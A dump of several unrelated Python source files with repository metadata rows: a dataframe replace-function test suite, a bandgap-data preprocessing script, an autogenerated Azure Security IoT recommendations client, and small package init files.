self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_types_values(self):
df = self.df.copy().cols.select('*')
result = df.cols.replace(cols='*', search_by='values', search=['at', 'an'], replace_by='this is a test')
expected = self.create_dataframe(data={('names', 'object'): ['Optimus', 'bumbl#ebéé ', 'ironhide&', 'Jazz', 'Megatron', 'Metroplex_)^$'], ('japanese name', 'object'): [['Inochi', 'Convoy'], ['Bumble', 'Goldback'], ['Roadbuster'], ['Meister'], ['Megatron'], ['Metroflex']], ('function', 'object'): ['Leader', 'Espionage', 'Security', 'First Lieutenant', 'None', 'Battle Station'], ('Code', 'object'): ['123A', '456', 456, 'e', None, '{code}'], ('Cybertronian', 'object'): ['False', 'True + 1', 1, None, True, False], ('NullType', 'object'): [None, None, None, None, None, None], ('attributes', 'object'): [[8.5344, 4300.0], [5.334, 2000.0], [7.9248, 4000.0], [3.9624, 1800.0], [None, 5700.0], [91.44, None]], ('date arrival', 'object'): ['1980/04/10', '1980/04/10', '1980/04/10', '1980/04/10', '1980/04/10', '1980/04/10'], ('function(binary)', 'object'): [bytearray(b'Leader'), bytearray(b'Espionage'), bytearray(b'Security'), bytearray(b'First Lieutenant'), bytearray(b'None'), bytearray(b'Battle Station')], ('height(ft)', 'float64'): [-28.0, 17.0, 26.0, 13.0, nan, 300.0], ('last date seen', 'object'): ['2016/09/10', '2015/08/10', '2014/07/10', '2013/06/10', '2012/05/10', '2011/04/10'], ('last position seen', 'object'): ['19.442735,-99.201111', '10.642707,-71.612534', '37.789563,-122.400356', '33.670666,-117.841553', None, None], ('rank', 'int64'): [10, 7, 7, 8, 10, 8], ('Date Type', 'datetime64[ns]'): [Timestamp('2016-09-10 00:00:00'), Timestamp('2015-08-10 00:00:00'), Timestamp('2014-06-24 00:00:00'), Timestamp('2013-06-24 00:00:00'), Timestamp('2012-05-10 00:00:00'), Timestamp('2011-04-10 00:00:00')], ('age', 'int64'): [5000000, 5000000, 5000000, 5000000, 5000000, 5000000], ('timestamp', 'datetime64[ns]'): [Timestamp('2014-06-24 00:00:00'), Timestamp('2014-06-24 00:00:00'), Timestamp('2014-06-24 00:00:00'), Timestamp('2014-06-24 00:00:00'), Timestamp('2014-06-24 00:00:00'), Timestamp('2014-06-24 00:00:00')], ('weight(t)', 'float64'): [4.3, 2.0, 4.0, 1.8, 5.7, nan]}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_types_words(self):
df = self.df.copy().cols.select('*')
result = df.cols.replace(cols='*', search_by='words', search=['at', 'an'], replace_by='this is a test')
expected = self.create_dataframe(data={('names', 'object'): ['Optimus', 'bumbl#ebéé ', 'ironhide&', 'Jazz', 'Megatron', 'Metroplex_)^$'], ('japanese name', 'object'): ["['Inochi', 'Convoy']", "['Bumble', 'Goldback']", "['Roadbuster']", "['Meister']", "['Megatron']", "['Metroflex']"], ('function', 'object'): ['Leader', 'Espionage', 'Security', 'First Lieutenant', 'None', 'Battle Station'], ('Code', 'object'): ['123A', '456', '456', 'e', 'None', '{code}'], ('Cybertronian', 'object'): ['False', 'True + 1', '1', 'None', 'True', 'False'], ('NullType', 'object'): ['None', 'None', 'None', 'None', 'None', 'None'], ('attributes', 'object'): ['[8.5344, 4300.0]', '[5.334, 2000.0]', '[7.9248, 4000.0]', '[3.9624, 1800.0]', '[None, 5700.0]', '[91.44, None]'], ('date arrival', 'object'): ['1980/04/10', '1980/04/10', '1980/04/10', '1980/04/10', '1980/04/10', '1980/04/10'], ('function(binary)', 'object'): ["bytearray(b'Leader')", "bytearray(b'Espionage')", "bytearray(b'Security')", "bytearray(b'First Lieutenant')", "bytearray(b'None')", "bytearray(b'Battle Station')"], ('height(ft)', 'object'): ['-28.0', '17.0', '26.0', '13.0', 'nan', '300.0'], ('last date seen', 'object'): ['2016/09/10', '2015/08/10', '2014/07/10', '2013/06/10', '2012/05/10', '2011/04/10'], ('last position seen', 'object'): ['19.442735,-99.201111', '10.642707,-71.612534', '37.789563,-122.400356', '33.670666,-117.841553', 'None', 'None'], ('rank', 'object'): ['10', '7', '7', '8', '10', '8'], ('Date Type', 'object'): ['2016-09-10', '2015-08-10', '2014-06-24', '2013-06-24', '2012-05-10', '2011-04-10'], ('age', 'object'): ['5000000', '5000000', '5000000', '5000000', '5000000', '5000000'], ('timestamp', 'object'): ['2014-06-24', '2014-06-24', '2014-06-24', '2014-06-24', '2014-06-24', '2014-06-24'], ('weight(t)', 'object'): ['4.3', '2.0', '4.0', '1.8', '5.7', 'nan']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_value_chars(self):
df = self.df.copy().cols.select('names')
result = df.cols.replace(cols='names', search_by='chars', search='Optimus', replace_by='optimus prime')
expected = self.create_dataframe(data={('names', 'object'): ['optimus prime', 'bumbl#ebéé ', 'ironhide&', 'Jazz', 'Megatron', 'Metroplex_)^$']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_value_full(self):
df = self.df.copy().cols.select('names')
result = df.cols.replace(cols='names', search_by='full', search='Optimus', replace_by='optimus prime')
expected = self.create_dataframe(data={('names', 'object'): ['optimus prime', 'bumbl#ebéé ', 'ironhide&', 'Jazz', 'Megatron', 'Metroplex_)^$']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_value_values(self):
df = self.df.copy().cols.select('names')
result = df.cols.replace(cols='names', search_by='values', search='Optimus', replace_by='optimus prime')
expected = self.create_dataframe(data={('names', 'object'): ['optimus prime', 'bumbl#ebéé ', 'ironhide&', 'Jazz', 'Megatron', 'Metroplex_)^$']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
def test_cols_replace_value_words(self):
df = self.df.copy().cols.select('names')
result = df.cols.replace(cols='names', search_by='words', search='Optimus', replace_by='optimus prime')
expected = self.create_dataframe(data={('names', 'object'): ['optimus prime', 'bumbl#ebéé ', 'ironhide&', 'Jazz', 'Megatron', 'Metroplex_)^$']}, force_data_types=True)
self.assertTrue(result.equals(expected, decimal=True, assertion=True))
class TestReplaceDask(TestReplacePandas):
config = {'engine': 'dask', 'n_partitions': 1}
class TestReplacePartitionDask(TestReplacePandas):
config = {'engine': 'dask', 'n_partitions': 2}
try:
import cudf # pyright: reportMissingImports=false
except:
pass
else:
class TestReplaceCUDF(TestReplacePandas):
config = {'engine': 'cudf'}
try:
import dask_cudf # pyright: reportMissingImports=false
except:
pass
else:
class TestReplaceDC(TestReplacePandas):
config = {'engine': 'dask_cudf', 'n_partitions': 1}
try:
import dask_cudf # pyright: reportMissingImports=false
except:
pass
else:
class TestReplacePartitionDC(TestReplacePandas):
config = {'engine': 'dask_cudf', 'n_partitions': 2}
try:
import pyspark # pyright: reportMissingImports=false
except:
pass
else:
class TestReplaceSpark(TestReplacePandas):
config = {'engine': 'spark'}
try:
import vaex # pyright: reportMissingImports=false
except:
pass
else:
class TestReplaceVaex(TestReplacePandas):
config = {'engine': 'vaex'}
| 103.977273
| 2,020
| 0.644309
| 4,181
| 32,025
| 4.829945
| 0.06673
| 0.042488
| 0.021244
| 0.034763
| 0.929583
| 0.919679
| 0.913043
| 0.899475
| 0.887095
| 0.887095
| 0
| 0.082522
| 0.124778
| 32,025
| 307
| 2,021
| 104.315961
| 0.637946
| 0.005589
| 0
| 0.504032
| 0
| 0
| 0.348367
| 0.009422
| 0
| 0
| 0
| 0
| 0.157258
| 1
| 0.16129
| false
| 0.020161
| 0.040323
| 0.004032
| 0.278226
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
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| 0
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| 0
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| null | 0
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| 0
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| 0
| 0
|
0
| 8
|
36467c6b77863e125be57e06f5ab65f9daeca23b
| 51
|
py
|
Python
|
python/src/chirpstack_api/nc/__init__.py
|
wisang1999/chirpstack-api
|
905b310a883b2a27a5c6460d547c6eb7d92524e7
|
[
"MIT"
] | null | null | null |
python/src/chirpstack_api/nc/__init__.py
|
wisang1999/chirpstack-api
|
905b310a883b2a27a5c6460d547c6eb7d92524e7
|
[
"MIT"
] | null | null | null |
python/src/chirpstack_api/nc/__init__.py
|
wisang1999/chirpstack-api
|
905b310a883b2a27a5c6460d547c6eb7d92524e7
|
[
"MIT"
] | null | null | null |
from .nc_pb2_grpc import *
from .nc_pb2 import *
| 17
| 27
| 0.72549
| 9
| 51
| 3.777778
| 0.555556
| 0.352941
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| 51
| 2
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| 1
| 0
|
0
| 7
|
368bbfdb45b23991d2a29b55bd50a27e5a0577dd
| 1,730
|
py
|
Python
|
preprocessing.py
|
jingshenSN2/HOIP_bandgap_prediction
|
fc989c47e20d98490d7d9679cb6f9a6b2b0b9ebc
|
[
"MIT"
] | 4
|
2020-01-05T09:41:07.000Z
|
2020-11-04T17:42:19.000Z
|
preprocessing.py
|
NurcanOrmanli/HOIP_bandgap_prediction
|
fc989c47e20d98490d7d9679cb6f9a6b2b0b9ebc
|
[
"MIT"
] | null | null | null |
preprocessing.py
|
NurcanOrmanli/HOIP_bandgap_prediction
|
fc989c47e20d98490d7d9679cb6f9a6b2b0b9ebc
|
[
"MIT"
] | 5
|
2020-02-19T07:26:41.000Z
|
2021-09-12T21:18:52.000Z
|
from sklearn.preprocessing import MinMaxScaler
import pandas as pd
from sklearn.model_selection import train_test_split
import os
def raw_preprocessing(data_dir, test_ratio=0.2):
os.chdir(data_dir)
scaler = MinMaxScaler()
trates = pd.read_csv('HOIP-30_drop.csv', header=0)
predic = pd.read_csv('unknown_comb.csv', header=0)
trates_y = trates['bandgap-PBE(eV)']
trates.drop(['A-site', 'B-site', 'X-site', 'bandgap-PBE(eV)'], axis=1, inplace=True)
predic.drop(['A-site', 'B-site', 'X-site'], axis=1, inplace=True)
df_all = trates.append(predic)
df_all_mm = scaler.fit_transform(df_all)
trates_X = df_all_mm[0:len(trates)]
predict_X = df_all_mm[len(trates):-1]
X_train, X_test, y_train, y_test = train_test_split(trates_X, trates_y, test_size=test_ratio, random_state=1)
return X_train, X_test, y_train, y_test, predict_X, list(trates.columns)
def drop_preprocessing(data_dir, features, test_ratio=0.2):
os.chdir(data_dir)
scaler = MinMaxScaler()
trates = pd.read_csv('HOIP-30_drop.csv', header=0)
predic = pd.read_csv('unknown_comb.csv', header=0)
trates_y = trates['bandgap-PBE(eV)']
trates.drop(['A-site', 'B-site', 'X-site', 'bandgap-PBE(eV)'], axis=1, inplace=True)
trates = trates[features]
predic.drop(['A-site', 'B-site', 'X-site'], axis=1, inplace=True)
predic = predic[features]
df_all = trates.append(predic)
df_all_mm = scaler.fit_transform(df_all)
trates_X = df_all_mm[0:len(trates)]
predict_X = df_all_mm[len(trates):-1]
X_train, X_test, y_train, y_test = train_test_split(trates_X, trates_y, test_size=test_ratio, random_state=1)
return X_train, X_test, y_train, y_test, predict_X, list(trates.columns)
| 45.526316
| 113
| 0.70578
| 290
| 1,730
| 3.951724
| 0.206897
| 0.04363
| 0.036649
| 0.034904
| 0.820244
| 0.815009
| 0.815009
| 0.815009
| 0.815009
| 0.815009
| 0
| 0.014865
| 0.144509
| 1,730
| 37
| 114
| 46.756757
| 0.759459
| 0
| 0
| 0.764706
| 0
| 0
| 0.113295
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.058824
| false
| 0
| 0.117647
| 0
| 0.235294
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
36af51bc0cdf136aba324b5b8eb30044c5a1360e
| 16,514
|
py
|
Python
|
venv/lib/python3.8/site-packages/azure/mgmt/security/operations/_iot_recommendations_operations.py
|
amcclead7336/Enterprise_Data_Science_Final
|
ccdc0aa08d4726bf82d71c11a1cc0c63eb301a28
|
[
"Unlicense",
"MIT"
] | null | null | null |
venv/lib/python3.8/site-packages/azure/mgmt/security/operations/_iot_recommendations_operations.py
|
amcclead7336/Enterprise_Data_Science_Final
|
ccdc0aa08d4726bf82d71c11a1cc0c63eb301a28
|
[
"Unlicense",
"MIT"
] | null | null | null |
venv/lib/python3.8/site-packages/azure/mgmt/security/operations/_iot_recommendations_operations.py
|
amcclead7336/Enterprise_Data_Science_Final
|
ccdc0aa08d4726bf82d71c11a1cc0c63eb301a28
|
[
"Unlicense",
"MIT"
] | 2
|
2021-05-23T16:46:31.000Z
|
2021-05-26T23:51:09.000Z
|
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
import uuid
from msrest.pipeline import ClientRawResponse
from msrestazure.azure_exceptions import CloudError
from .. import models
class IotRecommendationsOperations(object):
"""IotRecommendationsOperations operations.
You should not instantiate directly this class, but create a Client instance that will create it for you and attach it as attribute.
:param client: Client for service requests.
:param config: Configuration of service client.
:param serializer: An object model serializer.
:param deserializer: An object model deserializer.
"""
models = models
def __init__(self, client, config, serializer, deserializer):
self._client = client
self._serialize = serializer
self._deserialize = deserializer
self.config = config
def list(
self, resource_group_name, solution_name, recommendation_type=None, device_id=None, limit=None, skip_token=None, custom_headers=None, raw=False, **operation_config):
"""List IoT recommendations.
:param resource_group_name: The name of the resource group within the
user's subscription. The name is case insensitive.
:type resource_group_name: str
:param solution_name: The name of the IoT Security solution.
:type solution_name: str
:param recommendation_type: Filter by recommendation type
:type recommendation_type: str
:param device_id: Filter by device id
:type device_id: str
:param limit: Limit the number of items returned in a single page
:type limit: int
:param skip_token: Skip token used for pagination
:type skip_token: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: An iterator like instance of IotRecommendation
:rtype:
~azure.mgmt.security.models.IotRecommendationPaged[~azure.mgmt.security.models.IotRecommendation]
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
api_version = "2019-08-01"
def prepare_request(next_link=None):
if not next_link:
# Construct URL
url = self.list.metadata['url']
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str', pattern=r'^[0-9A-Fa-f]{8}-([0-9A-Fa-f]{4}-){3}[0-9A-Fa-f]{12}$'),
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str', max_length=90, min_length=1, pattern=r'^[-\w\._\(\)]+$'),
'solutionName': self._serialize.url("solution_name", solution_name, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
if recommendation_type is not None:
query_parameters['recommendationType'] = self._serialize.query("recommendation_type", recommendation_type, 'str')
if device_id is not None:
query_parameters['deviceId'] = self._serialize.query("device_id", device_id, 'str')
if limit is not None:
query_parameters['$limit'] = self._serialize.query("limit", limit, 'int')
if skip_token is not None:
query_parameters['$skipToken'] = self._serialize.query("skip_token", skip_token, 'str')
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
return request
def internal_paging(next_link=None):
request = prepare_request(next_link)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
header_dict = None
if raw:
header_dict = {}
deserialized = models.IotRecommendationPaged(internal_paging, self._deserialize.dependencies, header_dict)
return deserialized
list.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Security/iotSecuritySolutions/{solutionName}/iotRecommendations'}
def get(
self, resource_group_name, solution_name, iot_recommendation_id, custom_headers=None, raw=False, **operation_config):
"""Get IoT recommendation.
:param resource_group_name: The name of the resource group within the
user's subscription. The name is case insensitive.
:type resource_group_name: str
:param solution_name: The name of the IoT Security solution.
:type solution_name: str
:param iot_recommendation_id: Id of the recommendation
:type iot_recommendation_id: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: IotRecommendation or ClientRawResponse if raw=true
:rtype: ~azure.mgmt.security.models.IotRecommendation or
~msrest.pipeline.ClientRawResponse
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
api_version = "2019-08-01"
# Construct URL
url = self.get.metadata['url']
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str', pattern=r'^[0-9A-Fa-f]{8}-([0-9A-Fa-f]{4}-){3}[0-9A-Fa-f]{12}$'),
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str', max_length=90, min_length=1, pattern=r'^[-\w\._\(\)]+$'),
'solutionName': self._serialize.url("solution_name", solution_name, 'str'),
'iotRecommendationId': self._serialize.url("iot_recommendation_id", iot_recommendation_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('IotRecommendation', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Security/iotSecuritySolutions/{solutionName}/iotRecommendations/{iotRecommendationId}'}
def list1(
self, scope, recommendation_type=None, device_id=None, limit=None, skip_token=None, custom_headers=None, raw=False, **operation_config):
"""List IoT recommendations.
:param scope: Scope of the query: Subscription (i.e.
/subscriptions/{subscriptionId}) or IoT Hub (i.e.
/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.Devices/iotHubs/{iotHubName})
:type scope: str
:param recommendation_type: Filter by recommendation type
:type recommendation_type: str
:param device_id: Filter by device id
:type device_id: str
:param limit: Limit the number of items returned in a single page
:type limit: int
:param skip_token: Skip token used for pagination
:type skip_token: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: An iterator like instance of IotRecommendationModel
:rtype:
~azure.mgmt.security.models.IotRecommendationModelPaged[~azure.mgmt.security.models.IotRecommendationModel]
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
api_version = "2020-08-06-preview"
def prepare_request(next_link=None):
if not next_link:
# Construct URL
url = self.list1.metadata['url']
path_format_arguments = {
'scope': self._serialize.url("scope", scope, 'str', skip_quote=True)
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
if recommendation_type is not None:
query_parameters['recommendationType'] = self._serialize.query("recommendation_type", recommendation_type, 'str')
if device_id is not None:
query_parameters['deviceId'] = self._serialize.query("device_id", device_id, 'str')
if limit is not None:
query_parameters['$limit'] = self._serialize.query("limit", limit, 'int')
if skip_token is not None:
query_parameters['$skipToken'] = self._serialize.query("skip_token", skip_token, 'str')
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
return request
def internal_paging(next_link=None):
request = prepare_request(next_link)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
header_dict = None
if raw:
header_dict = {}
deserialized = models.IotRecommendationModelPaged(internal_paging, self._deserialize.dependencies, header_dict)
return deserialized
list1.metadata = {'url': '/{scope}/providers/Microsoft.Security/iotRecommendations'}
def get1(
self, scope, iot_recommendation_id, custom_headers=None, raw=False, **operation_config):
"""Get IoT recommendation.
:param scope: Scope of the query: Subscription (i.e.
/subscriptions/{subscriptionId}) or IoT Hub (i.e.
/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.Devices/iotHubs/{iotHubName})
:type scope: str
:param iot_recommendation_id: Id of the recommendation
:type iot_recommendation_id: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: IotRecommendationModel or ClientRawResponse if raw=true
:rtype: ~azure.mgmt.security.models.IotRecommendationModel or
~msrest.pipeline.ClientRawResponse
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
api_version = "2020-08-06-preview"
# Construct URL
url = self.get1.metadata['url']
path_format_arguments = {
'scope': self._serialize.url("scope", scope, 'str', skip_quote=True),
'iotRecommendationId': self._serialize.url("iot_recommendation_id", iot_recommendation_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('IotRecommendationModel', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get1.metadata = {'url': '/{scope}/providers/Microsoft.Security/iotRecommendations/{iotRecommendationId}'}
| 47.318052
| 202
| 0.649631
| 1,774
| 16,514
| 5.864713
| 0.126832
| 0.033737
| 0.020761
| 0.027682
| 0.884083
| 0.866782
| 0.860438
| 0.848904
| 0.848904
| 0.83564
| 0
| 0.007157
| 0.247003
| 16,514
| 348
| 203
| 47.454023
| 0.829513
| 0.299625
| 0
| 0.777143
| 0
| 0.017143
| 0.161418
| 0.080479
| 0
| 0
| 0
| 0
| 0
| 1
| 0.051429
| false
| 0
| 0.022857
| 0
| 0.142857
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
36d8e4b07250d3ae1ee3bf09368d85cd2e7cefec
| 167
|
py
|
Python
|
utils/__init__.py
|
aurora95/PytorchSeg
|
60b9ace7e25d0914e3a7bc844619c57de91dc03c
|
[
"MIT"
] | 4
|
2017-10-10T06:10:33.000Z
|
2021-01-02T05:27:32.000Z
|
utils/__init__.py
|
aurora95/PytorchSeg
|
60b9ace7e25d0914e3a7bc844619c57de91dc03c
|
[
"MIT"
] | null | null | null |
utils/__init__.py
|
aurora95/PytorchSeg
|
60b9ace7e25d0914e3a7bc844619c57de91dc03c
|
[
"MIT"
] | 2
|
2017-10-10T07:00:05.000Z
|
2019-03-23T02:05:54.000Z
|
from __future__ import absolute_import
from utils.progress_bar import *
from utils.logger import Logger
from utils.metrics import *
from utils.lr_schedulers import *
| 23.857143
| 38
| 0.832335
| 24
| 167
| 5.5
| 0.458333
| 0.272727
| 0.340909
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125749
| 167
| 6
| 39
| 27.833333
| 0.90411
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
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